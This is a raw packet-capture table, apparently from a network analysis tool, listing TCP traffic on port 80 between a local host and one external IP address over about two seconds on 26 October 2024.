Oct 26, 2024 08:53:12.172050953 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.172065973 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.172079086 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.172137976 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.172175884 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.187593937 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.187609911 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.187619925 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.187685013 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.228434086 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.233110905 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.233149052 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.233161926 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.233206987 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.233221054 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.233221054 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.233233929 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.233252048 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.233264923 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.233700037 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.233747959 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.233813047 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.257631063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.257644892 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.257656097 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.257662058 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.257807970 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.289483070 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.289505005 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.289519072 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.289550066 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.305039883 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.305052996 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.305072069 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.305082083 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.305095911 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.305124044 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.350733995 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.350756884 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.350770950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.350785971 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.350799084 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.350837946 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.350881100 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.374933004 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.374953985 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.374967098 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.375019073 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.406773090 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.406786919 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.406805992 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.406817913 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.406903982 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.422353983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.422368050 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.422379017 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.422446966 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.422494888 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.463057041 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.463237047 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.463319063 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.468873024 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.468914032 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.468935013 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.468969107 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.469341993 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.469357014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.469387054 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.492501020 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.492513895 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.492525101 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.492691040 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.524082899 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.524095058 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.524106979 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.524118900 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.524285078 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.539843082 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.539897919 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.539912939 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.540028095 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.586335897 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.586400986 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.586415052 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.586426020 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.586467028 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.586468935 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.586499929 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.586512089 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.586549997 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.610166073 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.610182047 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.610192060 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.610268116 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.641696930 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.641724110 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.641740084 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.641752005 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.641766071 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.641813040 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.641849041 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.657412052 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.657454967 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.657469034 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.657485962 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.657517910 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.704705000 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.704730034 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.704744101 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.704783916 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.704808950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.704823017 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.704869986 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.727437019 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.727468014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.727480888 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.727513075 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.727524996 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.727555037 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.759013891 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.759057045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.759072065 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.759207964 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.774677038 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.774718046 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.774733067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.774755955 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.774763107 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.774787903 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.774832964 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.821360111 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.821374893 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.821386099 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.821664095 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.821997881 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.822011948 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.822022915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.822071075 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.846735954 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.846806049 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.846812963 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.846822023 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.846992016 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.876389980 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.876415014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.876430035 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.876461983 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.892469883 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.892522097 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.892524958 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.892538071 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.892576933 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.892586946 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.892601967 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.892644882 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.938760996 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.938905001 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.938920975 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.938971043 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.939347029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.939362049 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.939374924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.939400911 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.939426899 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.964266062 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.964291096 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.964306116 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.964339018 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.993746042 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.993762016 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.993773937 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:12.993829012 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:12.993866920 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.010209084 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.010222912 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.010242939 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.010257959 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.010270119 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.010282040 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.010313988 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.010333061 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.056011915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.056030035 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.056041956 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.056102991 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.056545973 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.056560993 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.056615114 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.056644917 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.056658983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.056699991 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.081790924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.081804991 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.081815958 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.081829071 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.081861019 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.081911087 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.111078024 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.111094952 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.111107111 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.111160040 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.111193895 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.111213923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.111228943 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.111242056 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.111268997 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.127384901 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.127405882 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.127420902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.127500057 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.277817011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.277843952 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.277858973 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.277991056 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.278053999 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.278053999 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.323718071 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.323762894 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.323776960 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.323807001 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.323829889 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.323853016 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.323868990 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.323874950 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.323920012 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.324038982 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.324053049 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.324065924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.324084997 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.324095964 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.324100018 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.324112892 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.324129105 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.324158907 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.325028896 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.325048923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.325063944 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.325077057 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.325088978 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.325098038 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.325103045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.325125933 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.325166941 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.363239050 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.363255978 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.363270044 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.363286018 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.363298893 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.363354921 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.363523006 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.395175934 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.395195007 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.395335913 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.408149004 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.408170938 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.408240080 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.409781933 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.409792900 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.409837008 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.436068058 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.436079979 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.436172009 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.440820932 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.440839052 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.440864086 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.480401993 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.480422020 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.480462074 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.480473042 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.480519056 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.480531931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.480550051 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.480561018 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.480587006 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.525321007 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.525835991 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.525856018 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.525866985 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.525898933 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.553431988 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.553518057 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.553596020 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.553608894 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.553739071 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.597733021 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.597773075 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.597786903 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.597816944 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.597870111 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.598015070 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.598047018 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.598066092 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.598078966 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.598109007 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.598407030 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.598458052 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.598467112 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.598479986 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.598515034 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.643197060 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.643217087 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.643227100 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.643275976 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.670979023 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.670994997 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.671005964 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.671103001 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:13.715358019 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.715369940 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:13.715442896 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:14.072424889 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:14.072487116 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:14.072525024 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:14.072535038 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:14.072560072 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:14.072598934 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:14.072604895 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:14.072633982 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:14.072669029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:14.072684050 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:14.072709084 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:14.072743893 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:14.072751999 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:14.072782993 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:14.072817087 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:14.072829008 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:14.072841883 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:14.072858095 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:14.072870970 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:14.072881937 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:14.072890043 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:14.072902918 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:14.072909117 CEST	49759	80	192.168.2.7	185.215.113.16
